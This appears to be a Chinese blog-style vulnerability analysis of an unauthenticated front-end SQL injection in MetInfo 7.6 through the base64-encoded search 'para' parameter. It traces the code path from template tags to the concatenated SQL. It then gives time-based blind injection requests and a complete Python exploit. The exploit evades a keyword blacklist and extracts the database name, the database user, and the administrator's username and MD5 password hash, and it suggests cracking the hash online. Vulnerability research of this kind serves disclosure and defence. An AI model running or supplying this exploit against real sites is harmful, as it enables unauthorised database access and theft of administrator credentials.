7.6版本前台SQL注入 找到sink处,app/system/parameter/include/class/parameter_label.class.php#get_search_list_sql,发现存在大量的SQL语句拼接,然后直接在后面查询了。我们再看一下进入sink点的条件:$info为字典($val为恶意payload)。
全局搜get_search_list_sql。app/system/base/include/class/base_database.class.php#get_list_by_class_sql。
1 2 3 4 5 6 7 if ($cond ['para' ]['status' ] && $cond ['para' ]['info' ]) { $para = load::sys_class ('label' , 'new' )->get ('parameter' )->get_search_list_sql ($this ->module, $cond ['para' ]['precision' ], $cond ['para' ]['info' ]); if ($para != 'all' ) { $search .= " OR id IN ({$para} ) " ; } }
第三个参数是我们需要构造恶意payload的地方,然后我看看进入这段代码的条件:
if (isset($cond['type']) && ($cond['type'] == 'array' || $cond['type'] == 'tag'))
if (isset($_M['form']['search']))
上述if语句都是需要成功通过的。这个$cond是get_list_by_class_sql方法的第二个参数。接着我们关注$_M['form'],这是什么东西,看上去像是表单提交的东西。
我们从整个网站的index入口点开始找找看:
1 2 3 4 5 6 7 8 9 10 11 12 <?php define ('M_NAME' , 'index' ); define ('M_MODULE' , 'web' ); define ('M_CLASS' , 'index' ); define ('M_ACTION' , 'doindex' ); require_once './app/system/entrance.php' ; ?>
看这个路由,我们往app/system/web/index.class.php找。
后面会直接使用$_M,那么说明它是已经被构造好了的,我们往父类的构造函数找。
继续跟进。找到common.class.php,里面存在一堆的初始化与加载函数,我们随便跟进几个看看,下面的load_form其实就是跟$_M['form']相关的。理解一下这个$_M其实就相当于是MetInfo自己定义的一个全局数组,整个程序运行时的所有状态都存在里面。
我们先随便进一个看看,发现其中确实是对$_M的一些赋值。
接下来我们看load_form。这个方法其实就是对$_COOKIE、$_POST、$_GET进行一些处理后存入$_M。
我们看看是怎么进行处理的。对GET、POST的值进行转义处理(daddslashes),该方法其中也存在sql注入的一些防护。
好了,我们回到app/system/base/include/class/base_database.class.php#get_list_by_class_sql。继续找谁调用了这个方法。
$cond是第四个参数,继续找调用。找到app/system/base/include/class/base_label.class.php#get_list_page。
我们需要关注的是$cond的取值。它来自于$search['type'],所以我们先跟进search方法看看。
这里分别看一下两个方法,都在search_label.class.php中。只有search_info存在对$_M['form']['para']的赋值,而我们先前的传参是$cond['para']。所以我们关注search_info方法:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 public function search_info ( ) { global $_M ; if ($_M ['form' ]['search' ]) { if ($_M ['form' ]['title' ] || $_M ['form' ]['content' ] || $_M ['form' ]['searchword' ]) { if ($_M ['form' ]['content' ]) { $word = $_M ['form' ]['content' ]; } else { $word = $_M ['form' ]['searchword' ]; } $type = $this ->get_search_type (0 , $word ); return $type ; } elseif ($_M ['form' ]['para' ]) { $paratmp = json_decode (base64_decode ($_M ['form' ]['para' ]), true ); foreach ($paratmp as $key => $val ) { $para [] = array ( 'id' => $key , 'info' => $val , ); } $type = array ( 'type' => 'array' , 'title' => array ( 'status' => 0 , ), 'content' => array ( 'status' => 0 , ), 'tag' => array ( 'status' => 0 , ), 'specv' => array ( 'status' => 0 , ), 'para' => array ( 'status' => 1 , 'precision' => 0 , 'info' => $para , ), ); return $type ; } elseif ($_M ['form' ]['specv' ] || $_M ['form' ]['price_low' ] || $_M ['form' ]['price_top' ]) { $shop_search = load::app_class ('shop/include/class/shop_search' , 'new' ); if (method_exists ($shop_search ,'getSearchType' )) { $specv = $shop_search ->getSearchType ($_M ['form' ]['specv' ]); }else { $specv = json_decode (load::sys_class ('auth' , 'new' )->decode ($_M ['form' ]['specv' ]), true ); } $type = array ( 'type' => 'array' , 'title' => array ( 'status' => 0 , ), 'content' => array ( 'status' => 0 , ), 'tag' => array ( 'status' => 0 , ), 'para' => array ( 'status' => 0 , ), 'specv' => array ( 'status' => 1 , 'precision' => 0 , 'info' => $specv ) ); return $type ; } } }
要想成功赋值para,我们传参search和para即可。进入的是如下else if部分。这里我们发现para传参是要经过base64解码的,因此之前的sql注入防御全部失效!成功近在咫尺。这里注意一下:我们的恶意payload应该在'id' => $key,也就是key。我们从最开始追踪一下就知道:$cond ->['para'] -> ['info'] -> 的值 -> id。
然后我们回到get_list_page方法,赋值给$search后就一目了然了。继续寻找调用。
发现存在大量的调用,看了一下,是因为base_label.class.php是父类,下属有一堆子类不存在get_list_page方法,所以调用的是父类的方法,因此可以成功调用。这里我们随便找一个:app/system/job/include/class/job_tag.class.php#_list。
这里我们全局搜_list,找不到任何直接调用。因为它是被动态分发(反射)调用的。我们全局搜一下call_user_func
这里调用了本对象的_.$tag方法,job_tag的父类其实就是tag类,因此它可以调用到父类的parseTag方法来解析标签。 这里的_是直接拼接的,所以我们不可能全局搜到。然后我们再搜一下parseTag看看。会跟进到view_compile类,这是模板编译器。
既然是标签的解析,这里我们直接全局搜html标签吧,应该是标签中写出了调用方法。找到个完美符合的,action为job.list,也就是调用job_tag的_list方法,_list一眼就是内部的调用,所以此处非常合理。总结一下:看到模板<tag action='模块.方法'>,就去找app/system/模块/include/class/模块_tag.class.php的_方法。
接下来我们需要知道哪里对job.php进行了渲染,或者哪里调用了job.php。我们可以直接在job模块的目录下找,也可以全局搜view函数。
然后我们找job#dojob方法被谁调用。
ok,此处我们遵从路由规则即可。GET /job/index.php?search=search¶=<base64(json)>。
但是此处我们失败了,回头看代码是因为job_database.class.php重写了父类的get_list_by_class_sql,里面的para分支不见了!!!所以我们回头重新找一个没有重写的即可。全局搜get_list_page。找了一个download的。
尝试时间盲注{"1' OR SLEEP(0.1)-- -":"x"}:
1 2 3 4 5 GET /download/index.php?search=search¶=eyIxJyBPUiBTTEVFUCgwLjEpLS0gLSI6IngifQ== HTTP/1.1 Host: 127.0.0.1:8000 GET /news/index.php?search=search¶=eyIxJyBPUiBTTEVFUCgwLjEpLS0gLSI6IngifQ== HTTP/1.1 Host: 127.0.0.1:8000
成功了。实际上不止download路由存在漏洞。
给出exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 """ MetInfo 7.6 前台搜索 para 参数 未授权 SQL 注入 — 时间盲注数据提取脚本 注入点: parameter_label::get_search_list_sql() info 位置 (met_plist, 2行) oracle : SLEEP(1) 执行 → ~2s ; 不执行 → ~0.06s 用法 : python metinfo_blind_extract.py """ import urllib.requestimport base64import jsonimport timeimport sysBASE = "http://127.0.0.1:8000/download/index.php?lang=cn&search=search¶={}" BLOCKED = ["select" , "insert" , "update" , "delete" , "union" , "into" , "load_file" , "outfile" , "sleep" , "*" , "~" ] SLEEP_SEC = 0.5 THRESHOLD = 0.5 def enc (info, key="200" ): """构造 para=base64(json),若 base64 命中黑名单则末尾补空格重试(补位在 -- 注释内,不影响 SQL)""" while True : data = json.dumps({key: info}, ensure_ascii=False , separators=("," , ":" )) b = base64.b64encode(data.encode("utf-8" )).decode("utf-8" ) low = b.lower() if not any (w in low for w in BLOCKED): return b info += " " def send (info ): """发送请求,返回耗时""" url = BASE.format (enc(info)) t0 = time.time() try : urllib.request.urlopen(url, timeout=15 ) except Exception: pass return time.time() - t0 def oracle (condition ): """条件为真 → SLEEP → 超过阈值;返回布尔""" payload = "x' OR IF({},SLEEP({}),0)-- -" .format (condition, SLEEP_SEC) return send(payload) > THRESHOLD def calibrate (): """校准阈值:测一次确定真假,取中间值""" t_false = send("x' OR IF(1=2,SLEEP({}),0)-- -" .format (SLEEP_SEC)) t_true = send("x' OR IF(1=1,SLEEP({}),0)-- -" .format (SLEEP_SEC)) global THRESHOLD THRESHOLD = (t_false + t_true) / 2 print ("[*] 校准: FALSE=%.2fs TRUE=%.2fs 阈值=%.2fs" % (t_false, t_true, THRESHOLD)) def extract (query, length, desc="" ): """逐字符二分盲注提取, query 为不带 SELECT 的查询表达式或完整 SELECT""" result = "" for pos in range (1 , length + 1 ): lo, hi = 32 , 126 while lo < hi: mid = (lo + hi) // 2 cond = "ASCII(SUBSTR(({}),{},1))>{}" .format (query, pos, mid) if oracle(cond): lo = mid + 1 else : hi = mid result += chr (lo) sys.stdout.write("\r[%s] %s %d/%d -> %s" % (desc, query[:40 ], pos, length, result)) sys.stdout.flush() print () return result if __name__ == "__main__" : print ("[*] MetInfo 7.6 para 参数时间盲注提取" ) calibrate() db = extract("SELECT DATABASE()" , 20 , "DB" ) user = extract("SELECT USER()" , 20 , "user" ) print ("\n[+] database =" , db) print ("[+] user =" , user) admin_id = extract("SELECT admin_id FROM met_admin_table LIMIT 1" , 20 , "admin_id" ) admin_pass = extract("SELECT admin_pass FROM met_admin_table LIMIT 1" , 32 , "admin_pass" ) print ("\n" + "=" * 50 ) print ("[+] 提取结果:" ) print (" admin_id = %s" % admin_id) print (" admin_pass= %s" % admin_pass) print (" (admin_pass 为 MD5,可用 cmd5/somd5 反查明文)" )